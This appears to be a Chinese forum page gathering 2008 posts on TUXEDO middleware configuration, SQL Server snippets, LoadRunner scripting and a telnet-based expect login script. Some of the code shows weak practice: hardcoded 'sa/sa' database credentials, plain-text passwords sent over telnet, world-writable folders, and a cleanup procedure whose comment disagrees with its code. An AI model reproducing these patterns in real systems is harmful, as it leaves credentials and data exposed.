在 缺省情况下,TUXEDEO的每一个SERVER对应一个请求队列,该SERVER从该请求队列中取客户端发来的请求,并把处理的结果通过该请求队列返回 给客户端,TUXEDO的SERVER可以配置成多个SERVER对应一个请求队列,即MSSQ方式,以提高响应的速度。

与MSSQ有关的参数是:

RQADDR:该请求队列的名字,一般设成与该SERVER的名字一样

RAPERM:该请求队列的存取权限,默认为0666

REPLYQ:该SERVER中的某个SERVICE调用其他的SERVICE,并有返回结果,则应设置

REPLYQ=Y,即把其他SERVICE的应答放到该队列中

CONV: 该SERVER是否采用会话(CONVERSATION)通讯方式,注意采用会话通讯方式的SERVICE要单独在一个SERVER中,不能与采用其他通讯方式的SERVICE在同一个SERVER中,并且该SERVER要设置CONV=Y

CLOPT: 指定该SERVER的启动参数。默认为-A,即再该SERVER启动时,发布该SERVER

包含的所有的SERVICE。通用的有:

-e: 指定错误输出文件,默认为$APPDIR下的stderr

-o: 指定标准输出文件,默认为$APPDIR下的stdout

-r: 记录该SERVER中SERVICE每次调用的处理时间,并记录在错误输出文件中,然后可采用

TUXEDO的性能分析工具txrpt对该SERVER进行性能分析。

-A: 发布该SERVER包含的所有的SERVICE

*SERVICES:


在SERVICES中可针对每个SERVICE进行配置,主要有:

AUTOTRAN: 调用该SERVICE时是否自动启一个全局事务。默认为N

LOAD:如果采用负载均衡,指定该SERVICE的负载因子,默认为50

PRIO: 指定该SERVICE的优先级,默认为50

DDR: 指定数据依赖路由规则

与远程客户端有关的配置:

1. 在MACHINES中要配置MAXWSCLIENTS,即最多可以有多少个远程客户端同时连接

到该服务器上,在上面的例子中为5个

2. 在SERVERS中要配置SERVER:WSL

WSL SRVGRP="GROUP1" SRVID=1116 CLOPT="-A -- -n //192.168.120.113:8888 -m 2 -M 5 -x 6"


说明:

-n //192.168.120.113:8888: 远程客户端通过该端口与服务器建立连接


-m 2 :最少启动多少个WSH进程

-M 5::最多启动多少个WSH进程,默认值为MAXWSCLIENTS/m

-x 6:每个WSH进程可同时处理多少个远程客户端

3. 程客户端所在的服务器上要配置WSNADDR环境变量,它的值为-n参数的值,如在上面的配置中为:

SET WSNADDR= //192.168.120.113:8888


配置文件UBBCONFIG的编译:

用下面的命令进行编译:

tmloadcf –y UBBCONFIG文件名 

如:下面的命令编译名为ubbsimple的TUXEDO配置文件,生成二进制的配置文件

TUXCONFIG
tmloadcf –y ubbsimple


有时候在改变了TUXCONFIG的目录后,执行tmloadcf,会出现类似下面的错误,可把原来的TUXCONFIG文件删除,然后再编译。

D:\simpdb>tmloadcf -y ubb
CMDTUX_CAT:1601: ERROR: TUXCONFIG,TUXOFFSET d:\simpdb\tuxconfig 0 doesn't match first device entry on configuration d:\tuxdemo\simpdb\tuxconfig 0
D:\simpdb>del tuxconfig
D:\simpdb>tmloadcf -y ubb
D:\simpdb>


用tmunloadcf命令可对二进制的配置文件TUXCONFIG的进行反编译

如下面的命令反编译TUXCONFIG,并把结果输出到文件myubb中。通过反编译TUXCONFIG可查看该TUXEDO应用系统的一些属性默认值。

Tmunloadcf >myubb


    3.2 多机(MP)模式的配置

一 个TUXEDO应用系统可以部署在多台服务器上,这些服务器通过网络连接,这种部署方式称为MP方式,在这些服务器中要选择一台服务器做MASTER服务 器,在该服务器上有一个DBBL进程,负责整个TUXEDO应用系统的管理工作。在每台服务器上都有一个BBL进程,它与DBBL进程进行通信,管理各自 服务器上的配置。每台服务器上还有一个名为BRIDGE的进程和一个名为TLISTEN的进程,他们负责服务器之间的通讯。MP模式的结构如图:

如 果配置了MP方式,那么在这些服务器之间可以做负载均衡和容错,客户端可以和其中的任何一台服务器建立连接,如果该服务器上没有该客户端所要调用的服务 (SERVICE),TUXEDO可以自动把请求发送到别的有该服务的机器取处理,并把结果返回个客户端,如图,SITE1上的客户端调用了 TRANSFER,当在SITE1上没有该SERVICE,在SITE3上有,

那么SITE1通过BRIDGE把请求发送到SITE3上,SITE3把处理结果也通过BRIDGE发送到SITE1上,通过SITE1把结果返回给该客户端。这些对客户端时透明的。

如果SITE1,STIE2,SITE3上都有TRANSFER,并且设置了负载均衡(LDBAL =Y),那么TUXEDO将根据他们的负载情况把请求发送到负载较小的服务器上。

如 果SITE1,SITE2,SITE3中的某一台或两台服务器出故障了,那么正常的机器仍然能够继续运行,如果时他们之间的网络连接断了,BRIDGE进 程会自动进行重试,并且在这些服务器之间可以配置多个网络连接通路,当其中的一个出现故障时,会自动采用别的连接通路。

所以MP方式提供了一个高可靠性的分布式应用系统。

配置成MP方式的步骤:

1. 这些服务器之间可以通过网络互相访问

2. 在每台服务器上都正确安装了TUXEDO SERVER

3. 应用已发布到这些服务器上

4. 选择一台服务器做MASTER机,

6. 在RESOURCES,MACHINES,NETWORK,NETGROUPS中做相应的配置

RESOURCE:


MODEL要设为MP

OPTIONS中要有LAN

MASTER服务器上的DBBL负责与其他服务器上的服务器BBL进行通讯,

BBLQUERY: 每台服务器上的BBL每隔SCANUNIT*BBLQUERY秒,向MASTER机上的

DBBL发送一次状态信息。默认为300秒

DBBLWAIT: 如果MASTER机没有收到某台服务器发送的状态信息,它将等待

SCANUNIT*DBBLWAIT秒,如果还没有收到该服务器发送的状态信息,这台服务

器将被分离出去(PARTITIONED),默认为20秒

MACHIENS:


在MACHINES中要配置该TUXEDO应用系统包括的每台服务器,如果该服务器时UNIX服务器,那么要配置UID,GID,UID,GID为TUXEDO用户所对应的UID,GID,在UNIX下可以用ID命令查看。

NETWORK:


在该节中配置服务器之间通讯的IP地址及BRIDGE进程,

在一个MP方式的TUXEDO应用系统中,不同的服务器之间通过BRIDGE进程进行通讯,该BRIDGE的侦听IP地址及端口

在NADDR中指定。如果是在UNIX下要指定该BRIDGE所用的网络设备,如果是在NT下则不要。

在TUXEDO系统启动前,不同服务器之间的通讯是通过tlisten进程来进行的,因为这时还没有BRIDGE进程。

NLSADDR为tlisten进程侦听的IP地址及端口。

一个MP方式的配置例子。

环境:WIN2000服务器一台,安装TUXEDO6.5, 服务器名WIN,IP地址:10.13.1.124

    SUN5.8服务器一台,安装TUXEDO6.5, 服务器名SUN,IP地址:12.22.32.35

    MASTER机为WIN2000服务器,BACKUP机为SUN。

在WIN2000服务器上的UBBCONFIG的内容如下,在SUN服务器上不用编写UBBCONFIG文件。当启动时DBBL会自动

把WIN2000服务器上的TUXCONFIG文件发送到SUN服务器上。

*RESOURCES
IPCKEY 87656
MASTER site1,site2
MAXACCESSERS 40
MAXSERVERS 40
MAXSERVICES 40
MODEL MP
OPTIONS LAN
*MACHINES
WIN LMID=site1
APPDIR="d:\tuxdemo\mp"
TUXCONFIG="d:\tuxdemo\mp\tuxconfig"
TYPE="win2000"
TUXDIR="d:\tuxedo65"
SUN LMID=site2
UID=1006
GID=30
APPDIR="/export/home/simpapp"
TUXCONFIG="/export/home/simpapp/tuxconfig"
TYPE="sun"
TUXDIR="/export/home/tuxedo"
*GROUPS
GROUP1
LMID=site1 GRPNO=1 ōPENINFO=NONE
GROUP2
LMID=site2 GRPNO=2 ōPENINFO=NONE
*NETWORK
site1 NADDR="//10.13.1.124:6000"
NLSADDR="//10.13.1.124:6001"
site2 NADDR="//12.22.32.35:6000"
NLSADDR="//12.22.32.35:6001"
BRIDGE="/dev/tcp"
*SERVERS
DEFAULT:
CLOPT="-A"
simpserv SRVGRP=GROUP2 SRVID=3
*SERVICES
TOUPPER


1. 在WIN2000服务器上把该UBBCONFIG编译成TUXCONFIG

tmloadcf -y ubbmp


2. 在WIN2000服务器上启动tlisten进程

tlisten -l //10.13.1.124:6001


3. 在SUN服务器上启动tlisten进程

tlisten -d /dev/tcp -l /12.22.32.35:6001


4. 在WIN2000服务器上启动该TUXEDO应用系统

tmboot -y


    TUXEDO会先启动WIN2000服务器上的进程,然后再启动SUN服务器上的进程。

5. 在WIN2000服务器上执行

simpcl mp test


    因为WIN2000服务器上没有TOUPPER服务,TUXEDO会自动调用SUN服务器上的TOUPPER服务,并把结果返回给客户端,这一切对客户端来说是透明的。

    查看(434) 评论(0) 收藏 分享 管理 

    游标使用 2008-11-07 17:10:49

--声明一个游标
DECLARE MyCURSOR CURSOR FOR
SELECT id FROM student
--打开游标
open MyCURSOR
--声明两个变量
declare @id int
declare @name char(20)
declare @sid int
declare @sname char(60)
declare @pid int
declare @pname char(60)
declare @cid int
--循环移动
fetch next from MyCURSOR into @id
while(@@fetch_status=0)
begin
select @sid = s.id ,@sname = s.name ,@pid = p.id ,@pname = p.name, @cid = c.cid
from student s ,score c ,project p
where s.id = c.sid and p.id =c.pid
--插入数据
insert into info
(id ,sid ,sname ,pid ,pname ,scid)
values
(@id ,@sid,@sname,@pid,@pname,@cid)
fetch next from MyCURSOR into @id
end
close MyCURSOR
deallocate MyCURSOR


    查看(80) 评论(0) 收藏 分享 管理 

    SQL 全局变量 2008-11-01 10:15:33

    ——全局变量 

    全局变量有系统定义和维护。 

@@ERROR 最后一个T-SQL错误的错误号 
@@IDENTITY 最后一个插入的标识值 
@@LANGUAGE 当前使用语言的名称 
@@MAX_CONNECTIONS 可以创建的同时链接的最大数目 
@@ROWCOUNT 受上一个SQL语言影响的行数 
@@SERVERNAME 本地服务器的名称 
@@SERVICENAME 该计算机上的SQL服务的名称 
@@TIMETICKS 当前计算机上每刻度的微秒数 
@@TRANSCOUNT 当前连接打开的事务数 
@@VERSION SQL Server的版本信息 


    查看(114) 评论(0) 收藏 分享 管理 

    监控SQL相关性能指标 2008-11-01 10:06:34

    一般都是事件查看器来追踪问题,当然我们可以通过一部分的命令来查看硬件及事务的使用情况.我写了下面的一部分东西... 感兴趣的朋友一起研究下

--系统函数
/*PRINT @@ROWCOUNT
PRINT @@TRANCOUNT
PRINT SYSTEM_USER
PRINT SESSION_USER
PRINT CURRENT_USER
PRINT @@ERROR
PRINT @@IDENTITY
*/
--系统统计函数
--CPU使用情况 


PRINT 'CPU使用情况 '

PRINT @@CPU_BUSY
PRINT @@IDLE
--返回 SQL Server 自上次启动后从网络读取的输入数据包数。
PRINT @@PACK_RECEIVED
PRINT @@PACKET_ERRORS
--错误率
PRINT @@TOTAL_ERRORS
--硬盘使用情况 


PRINT 'IO使用情况 '

PRINT @@IO_BUSY
PRINT @@TOTAL_READ
PRINT @@TOTAL_WRITE
--查看WINDOWN下的分区
--EXEC master..xp_fixeddrives
--当前连接打开的事务数
PRINT @@TRANSCOUNT


    查看(118) 评论(0) 收藏 分享 管理 

    SQL 自动清理日志 2008-10-29 15:05:34

-- 如果ID数量大于10000 ,会清理100 到200 这之间的数据
CREATE PROC DELETE_STU
IF EXISTS(SELECT ID FROM STUDENT WHERE ID > 10000 )
BEGIN
DELETE FROM STUDENT WHERE ID >100 AND ID < 2000
END
--按指定时间来执行清理
CREATE PROC AUTO_RUN
BEGIN
WAITFOR TIME '23:59:00'
EXEC DELETE_STU
END


    查看(69) 评论(0) 收藏 分享 管理 

    多表插入 2008-10-07 11:01:02

--创建一个新的表
create table t0910
(id int ,name char(10),project char(20))
-- 从student , score 两张表中取数据,然后放到t0910表中.
insert into t0910
select s.id , s.name ,t.name from student s , score t


大家可能会问,我们要这样的操作有什么用呢?

    其实这个要求当时遇到一个全新的系统,里面的数据几乎没有,那么怎么办呢? 后来想了一个可以通过多表的插入来构建数据,

    先在student 表里面创建一定的数据,score 表里面的数据... 来生成t0910里面的数据... 这样的就可以生成 student*score 这样多的数据...大量的数据才可以满足性能测试的要求...

    查看(96) 评论(0) 收藏 分享 管理 

    TUXEDO 监控 2008-09-20 09:00:08

    什么是TUXEDO 可能大家都知道的,但是它重要的功能是什么呢?有什么指标要我们去监控,获取到的数据怎么样来分析呢?

    我在银行做中间件的监控工作,但是只知道监控,当我想知道TUXEDO什么时候是个瓶颈的时候,没有人能告诉,我也查询过许多的资源,结束是一无所获... 我一直在想一个问题,有一个不知道怎么分析,不知道什么时候瓶颈的数据,意义何在? 我们的分析师也不知道,应该要什么数据.怎么分析? 可怜啊...现在做性能测试难道就是这样的吗?多大的一个银行项目啊... 费了多少钱在上面?让我们做性能测试? 当然包括结果的整理!

    我感觉很可怜啊...自己和银行

    不管怎么说,还是知道来监控的,下面是我写的监控TUXEDO方面的东东..希望给不了解的人一点帮助

#!/bin/sh
#tuxedo.sh
num=1
loopnum=10000
sleep_time=60
Tday=$(date +%y%m%d)
file_path="/home/ap/perfmon/$Tday/"
file_ser="tux"
#file_ser="mq"
file_ip=`netstat -in|awk '{print $4}'|grep 128|grep -v 128.199|sort|head -1`
file_time=$(date +%Y%m%d%H%M)
file_format=".txt"
path_log=$file_path$file_ser-$file_ip-$file_time$file_format
if [ ! -d $file_path ]
then
mkdir $file_path
chmod 777 $file_path
while [ $num -lt $loopnum ]
date_time=$(date +%y-%m-%d-%H-%M-%S)
echo $date_time >>$path_log
#消信队列的实现长度
echo pq | tmadmin -r|grep -v GWTDOMAIN|awk '($6!="0.0")&&($6!="-") {print ;a=a+$6;} END {print "pq Ave. Len is :"a}' >>$path_log
#实际的请示数,每一个时刻的.
echo pq | tmadmin -r |grep -v GWTDOMAIN|awk '$5!="0" {print ;b=b+$5;} END {print "pq # Queued is :"b}' >>$path_log
echo "----PCLT INFO----" >>$path_log
#每一个时间,服务处理的事务数
echo pclt |tmadmin -r | grep -v "0/0/0"| awk '$6!="0/0/0" {print ;c=c+$6;} END {print "pclt Bgn/Cmmt/Abrt total is :"c}' >>$path_log
echo "----PSR INFO-----" >>$path_log
#客户端实际的连接数,每一个时刻的数值
echo psr |tmadmin -r |awk '$8 ~/IDLE/ {h=h+1} END {print "IDLE TOTAL IS "h}' >>$path_log
echo "-----PSC INFO-----" >>$path_log
#service的运行情况和处理的交易数。 
echo psc |tmadmin -r |awk '$8!="AVAIL" {print ;g=g+1} END {print "PSC NO avail total is "g-5}' >>$path_log
num=$(($num + 1))
sleep $sleep_time
done
exit


    查看(415) 评论(2) 收藏 分享 管理 

    LoadRunner JAVA协议 来测试SQL性能 2008-09-20 08:46:35

    大家可能都知道 ODBC 协议是可以录制下来,SQL SERVER 2000 但是这个协议是底层的协议,所以好多东西是我们不想要的,也有好多东西,是我们不知道的.所以参数化,及维护脚本太难度了..由于这样的原因,所以本要用JAVA代码来写了一个测试SQL的程序.

/*

    * LoadRunner Java scrīpt. (Build: 873)

    * Writer fangtiesui

    * scrīpt Descrīption: sql 查询性能测试脚本 

    * DATE : 2008-09-19 

    */
import java.io.*;
import lrapi.lr;
import java.sql.*;
public class Actions
int sum = 0;
public int init() throws Throwable {
      return 0;
}//end of init
public int action() throws Throwable {
      try{
            String sqldriver = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
            Class.forName(sqldriver);
            System.out.println("数据库驱动程序注册成功!");
            String url ="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=school";
            String user = "sa";
            String password = "sa";
            String sel = "select * from student where id >950";
            Connection conn = DriverManager.getConnection(url,user,password);
            System.out.println("数据库连接成功");
            lr.start_transaction("查询学生表");
            Statement sta = conn.createStatement();
            ResultSet rs = sta.executeQuery(sel);
            System.out.print("\t"+"id"+"\t"+"name" + "\t"+"addr"+"\t"+"tel"+"\n");
            while(rs.next())
            {
                  System.out.print("\t"+rs.getInt(1));
                  System.out.print("\t"+rs.getString(2));
                  System.out.print("\t"+rs.getString(3));
                  System.out.println("\t"+rs.getString(4));
                  sum = sum + 1 ;
            }
            rs.close();
            sta.close();
            conn.close();
      }catch(Exception e){
      e.printStackTrace();
      System.out.println("Test Failed");
}
lr.message("Sum = "+sum);
lr.end_transaction("查询学生表", lr.AUTO);
return 0;
}//end of action
public int end() throws Throwable {
      return 0;
}//end of end


 查看(308) 评论(0) 收藏 分享 管理 

    tcl 和 shell 实现自动化启动远程shell 2008-09-11 11:15:48

    1.要安装一个tcl 与 expect 这两个软件.运行环境linux 或是 unix 

#这个脚本可以传递四个参数: 用户,密码,IP,脚本路径
#!/usr/bin/expect
#scrīptName: login_start_command.exp
proc do_login_console {LoginName PassWord} {
      expect "*login*"
      send "$LoginName\n"
      expect "*Password*"
      send "$PassWord\n"
      expect "*]"
      send_user "\nLogin Successfully!\n"
}
proc do_exec_cmd {CommandPath} {
      expect "*]"
      send "sh $CommandPath\n"
      expect "*]"
      send_user "\n\ncommand exec Finished...\n\n"
}
if {$argc<4} {
puts stderr "less parameters...."
exit 1
}
set IpAddress [lindex $argv 0]
set LoginName [lindex $argv 1]
set PassWord [lindex $argv 2]
set CommandPath [lindex $argv 3]
spawn telnet $IpAddress
do_login_console $LoginName $PassWord
do_exec_cmd $CommandPath
close
exit 0


 传递参数 IP USRE PWD 执行SHELL脚本的文件. 

    查看(219) 评论(0) 收藏 分享 管理 

    用VBS实现Loadrunner多场景的执行(转) 2008-09-09 11:03:46

    '用VBS实现Loadrunner多场景的执行

Set WshShell=Wscrīpt.CreateObject("Wscrīpt.Shell")
WshShell.Run "cmd.exe /C c:\\db.lrs",1,true


    '指定位置,打开场景,

Wscrīpt.Sleep 3000


    WshShell.AppActivate "Mercury LoadRunner 控制器 - db.lrs - [*]"

    '把Loadrunner置为激活状态

Wscrīpt.Sleep 1200
WshShell.Sendkeys "%{S}"


    '执行行Alt+s 开始场景

Wscrīpt.Sleep 1000
WshShell.Sendkeys "{ENTER}"


    '如果提示覆盖执行回车

Wscrīpt.Sleep 2000
WshShell.Run "cmd.exe /C tskill wlrun"


    '运行2S(可设定)后 结束进程Wlrun

Wscrīpt.Sleep 2000
WshShell.Run "cmd.exe /C c:\\db1.lrs",1,true


    '指定位置,打开第二个场景,

Wscrīpt.Sleep 3000


    WshShell.AppActivate "Mercury LoadRunner 控制器 - db.lrs - [*]"

    '把Loadrunner置为激活状态

Wscrīpt.Sleep 1200
WshShell.Sendkeys "%{S}"


    '执行行Alt+s 开始场景

Wscrīpt.Sleep 1000
WshShell.Sendkeys "{ENTER}"


    '如果提示覆盖执行回车

Wscrīpt.Sleep 2000
WshShell.Run "cmd.exe /C tskill wlrun"


    '运行2S(可设定)后 结束进程Wlrun

    把上述代码Copy到记事本中,重新保存为*.VBS

    执行就可以实现

    用VBS实现Loadrunner多场景的执行

    用Bat也可以:

    类如下东东:

SET M_ROOT="D:\Program Files\Mercury\LoadRunner\bin\"
%M_ROOT%\wlrun.exe -TestPath "c:\db.lrs" -Run


    查看(145) 评论(0) 收藏 分享 管理 

    loadrunner 测试内存泄露 2008-09-09 10:28:17

    近来无事,想看看什么情况下是内存的泄露,所以就写了一个小代码来看看...

char *p =(char *)malloc(1024 * sizeof(char)) ;
char *str = "memory overflow is never happen in my program!";
memcpy(p,str,strlen(str)+1);
lr_error_message("%s",p);


 这个 *P 不停的获取内存.只到内存没有可以分配的资源为止, 这部分内存完全可以回收再用的,但是这个代码却没有将内存回收,只是一味的分配内存,所以说这样的话,无管是多大的内存都会吃光的...当时候程序运行就 会比较慢的... 如果是在本机,小心点,如果用controller 来压你的机器会快就会很慢的.. 

    查看(506) 评论(1) 收藏 分享 管理 

    LoadRunner内部结构(转) 2008-09-08 11:20:41

    LoadRunner内部结构(转) 

    1, 被测系统是由驱动进程mdrv.exe(多线程驱动的进程)和r3vuser.exe来产生压力的,其中r3vuser.exe仿真应用程序的客户端,如IE浏览器。它执行了三个主要的操作:

Kli> cpp (C 语言pre-processor)


    1)cci (C语言编译器),建立ci文件,然后使用被测系统的协议相关的驱动来执行。

    通过在Windows批处理脚本中启动Mdrv.exe来默默地启动运行。

    Mdrv能自动停止加载Vuser,因为他们与Vuser和Windows负载生成器上的CPU使用监视器之间互相通信。

    在Windows机器上,对于每一个基于Java的Vuser都有一个独立的JVM。

    2, 虚拟用户通过在负载生成器客户端机器上使用agent(3900 magentproc.exe)作为服务或者进程来按照组(在指定的负载生成器上运行相同脚本的虚拟用户的集合)启动虚拟用户。

    3, 每一个拥有代理的机器维护一个在.qtp文件中的执行日志。

    4, 当日志被启用后,代理同样会在结果文件中为每一个虚拟用户(由虚拟用户组分开)建立一系列日志文件。

    5, 在执行过程中, 这些文件可以通过在Controller机器上的view > Show Output窗口中显示。

    6, 在预先设置延时上,Controller上运行的Scheduler指导代理(通过Windows 54345端口,或者Unix上的动态端口)去初始化场景会话.Controller(wlrun.exe)在请求中发送一份场景的拷贝.

    7, 代理是由每一个负载生成器上的Remote Agent Dispatcher进程(以前叫Remote Command Launcher(RCL))启动的.

    8, 每一个根据场景(.lrs)定义文件中设置的代理来决定哪一个虚拟用户组和脚本需要在主机上运行.

## 这就是说Controller可以从DOS的批处理文件(.batch)中启动.
REM Start Controller:
SET M_ROOT=C:\Program Files\Mercury Interactive\LoadRunner\bin
cd %M_ROOT%
wlrun.exe -TestPath D:\Dev\Dev1.lrs -port 8080 -Run -DontClose


 l 包含的-Run 参数与手动的点”开始场景”自动运行是一样的. 这不是一个很好的方法,因为你可能需要决定从以前的运行中收集文件或者想改变输出文件夹.

    l 这是假设系统环境变量PATH已经被更新了,包括LoadRunner的安装.

    9, Controller通过使用 Windows 操作系统文件夹里的参数值来启动.因为LoadRunner被设计成在一个机器上一次只能运行一个Controller实例,所以需要使用Windows文件夹.

## 为了在几个应用之间快速的切换, 在Controller工作之后保存LoadRunner的ini文件, 然后使用记事本来制作一个批处理文件. 在执行wlrun之前拷贝应用程序的指定版本的ini文件. 下面是一个应用程序文件拷贝的例子:
copy %WinDir%/wlrun7-XXX.ini %WinDir%/wlrun7.ini
copy %WinDir%/wlrun7-XXX.dft %WinDir%/wlrun7.dft


 需要修改一些默认值:

    l 在wlrun7.ini文件的output区域, MaxNumberOfOutputMessages= from 10000 to 100000, 这就限制了存储在数据库中的输出信息的数目.

    l MaxOutputUIRowsToShow限制了在Controller的输出窗口中显示的信息/错误行总数.

    l 在LoadRunner程序文件的 dat\protocols 文件夹下的QTWeb.lrp文件的[Vugen]部分, 添加一个MaxThreadPerProcess=5来限制由每个负载生成器mdrv.exe进程管理的线程数.

    l 存储在wlrun5.ini 和wlrun7.dft文件中的DefaultScenarioDir, DefaultscrīptDir, DefaultResultDir, [Recent File List]几个数据的值会在每次Controller改变的时候更新。

    10, 在Vu scrīpts中定义的每个虚拟用户进行的操作是用LoadRunner的VuGen.exe生成的. 当这个程序启动后, 它在windows文件夹下存储了comparamui.INI文件来保存[LastTablesUsed]下面文件的历史,并且保存由Insert > New Parameter > Dates 菜单指定的[ParamDialogDates].

    VuGen在Windows文件夹下存储和检索vugen.ini文件.当使用JAVA的时候,需要添加一些其他的调试选项:

[DynaDlg]
JavaLevel=3


 当在VuGen 8.1中使用8.0的脚本, 往Vugen.ini中加入信息:

[Editor]
OLDEDITOR = 1


 VuGen在LR文件夹template/qtweb default.cfg里和脚本文件里打开.

    Vu scrīpts可以使用脚本外部的参数文件来获得的变量值进行编码.

    更多关于VuGen的信息请看脚本编写的章节.

    11. 运行过程中,执行结果存储到一个结果文件夹中.

    我喜欢在场景执行中把结果设置成自动产生结果.这样,LoadRunner会在每次启动一个场景之后自动产生一个子增的结果名. 例如,结果名称Res1会自动增长到Res12或有时候是R es11-1.

    错误被写到output.mdb微软的Access数据库中。

    12. 在每一个结果文件夹中, 程序自动创建Log文件夹来包含每个组的日志文件. 运行之后,在Controller中查看日志文件,点 , .然后在组中点右键,选择 “Show Vuser Log”

    13. 场景运行的时候, 监视器在本地维护每个主机的计数器.

    14. 运行完成之后, "collate"进程处理.eve和.lrr结果文件, 并且在结果文件夹下创建一个临时的.mdb数据库.

    在处理大数据量的结果时, 为了防止错误发生,使用MSDE. ……

    15.分析模块(8,320K analysisu.exe)使用mdb数据库中的数据来产生分析图表和报告.

    16. 每一次场景运行后的结果文件results_name.lrr,也叫分析文档文件,由分析程序来读取并且显示百分位图表.

--转自 北京联动北方科技有限公司


该贴由system转至本版2014-10-28 22:49:16


该贴由system转至本版2014-10-28 22:50:00

该贴由hui.chen转至本版2015-1-28 15:30:28




赞(0)    操作        顶端 
总帖数
1
每页帖数
101/1页1
返回列表
发新帖子
请输入验证码: 点击刷新验证码
您需要登录后才可以回帖 登录 | 注册
技术讨论